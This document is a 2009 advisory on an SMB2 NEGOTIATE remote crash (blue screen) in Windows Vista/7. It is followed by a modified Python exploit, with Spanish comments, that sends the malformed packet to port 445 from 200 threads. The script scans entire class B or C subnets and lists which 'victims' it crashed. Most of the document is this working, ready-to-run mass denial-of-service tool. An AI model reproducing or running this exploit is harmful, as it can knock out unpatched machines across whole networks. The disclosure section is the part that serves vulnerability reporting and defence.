
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================
Readmore for the complete story, and the modified Python Script
Net Type B , C , 1

=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================
I. VULNERABILITY
-------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.
III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.
IV. BUSINESS IMPACT
------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.
V. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it use the same SMB2.0 driver (but not tested).
VI. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.
VII. REFERENCES
-------------------------
http://microsoft.com
VIII. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
IX. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release
X. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog: http://blogricardo.wordpress.com/20...ndows-vista-2008
# Hecho Ricardo Marmolejo García
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 09 de septiembre de 2009 20:01
import time
import sys
import subprocess
import threading
from threading import Thread
from Queue import Queue
from socket import *
from struct import *
from time import sleep
# configuracion
NUM_THREADS = 200
DEBUG = True
TIPO_RED = 'C' # Tipo: 'B', 'C' o '1'
RED_UNICO = '192.168.1.6'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"
class Pool:
def __init__(self , numHilos):
self.cola = Queue()
self.numHilos = numHilos
self.lock = False
self.interrumpido = False
self.numTrabajos = 0
def intentarEmpezarTrabajo(self , cola , idWorker , *args):
while not self.interrumpido:
if (self.numTrabajos > 0):
elemento = cola.get()
self.ejecutar(idWorker , elemento , *args)
cola.task_done()
self.numTrabajos -= 1
else:
# comprueba si hay tareas cada cierto tiempo
time.sleep(0.5)
def estaOcupado(self):
return self.numTrabajos > 0
def nuevoElemento(self, elemento):
self.numTrabajos += 1
self.cola.put(elemento)
def empezar(self , args=None):
if not self.lock:
self.lock = True
for idWorker in range(self.numHilos):
lista_args = []
lista_args.append( self.cola )
lista_args.append( idWorker )
if args != None:
for arg in args:
lista_args.append( arg )
worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
worker.setDaemon(True)
worker.start()
# aqui se bloquea hasta que termine
self.cola.join()
self.lock = False
def esLock(self):
return self.lock
# metodo para sobreescribir
def ejecutar(self , idWorker , elemento , *arg):
print "Debes sobreescribir el método"
raise NotImplementedError
def interrumpir(self):
self.interrumpido = True
# herencia multiple
class PoolNukers(Pool , Thread):
def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
Pool.__init__(self , numHilos)
Thread.__init__(self)
self.numHilos = numHilos
self.listaVictimasExito = listaVictimasExito
self.listaVictimasFracaso = listaVictimasFracaso
self.TIMEOUT = 10
self.puerto = 445
self.buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
# cuando el hilo empieza -> empieza la pool de 200 cuervos
def run(self):
self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )
def nuevaVictima(self, victima):
self.nuevoElemento(victima)
def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
def estaVivo(victima, puerto):
try:
s = socket()
s.settimeout(self.TIMEOUT)
s.connect((victima,puerto))
s.close()
return True
except:
return False
try:
if DEBUG:
print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
s = socket()
s.settimeout(self.TIMEOUT)
s.connect((victima,self.puerto))
if DEBUG:
print "Enviando cadena a %s" % victima
s.send(self.buff)
s.close()
# Comprobar si sigue vivo
if DEBUG:
print "%s ha sido atacado, comrpobando si sigue vivo" % victima
# le dejamos tiempo para morir
sleep(3)
if not estaVivo(victima, self.puerto):
listaVictimasExito.append(victima)
if DEBUG:
print "Exito con %s !!!" % victima
else:
listaVictimasFracaso.append(victima)
except:
if DEBUG:
print "Error enviando la cadena a %s" % victima
listaVictimasExito = []
listaVictimasFracaso = []
poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':
# RED TIPO B
cont = 0
for i in range(254):
for j in range(254):
host = RED_B % (i+1, j+1)
poolNukers.nuevaVictima(host)
cont += 1
elif TIPO_RED == 'C':
# RED TIPO C
cont = 0
for i in range(254):
host = RED_C % (i+1)
poolNukers.nuevaVictima(host)
cont += 1
else:
# 1 única victima
cont = 1
poolNukers.nuevaVictima(RED_UNICO)
print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()
if len(listaVictimasExito) > 0:
print "\n\nHost atacados y PETADOS"
print "---------------------------------------------"
for victima in listaVictimasExito:
print "%s ha petado ;D" % victima
else:
print "No se ha petado ninguna victima ;("
if len(listaVictimasFracaso) > 0:
print "\n\nHost atacados pero continuan en pie"
print "---------------------------------------------"
for victima in listaVictimasFracaso:
print "%s sigue en pie ;(" % victima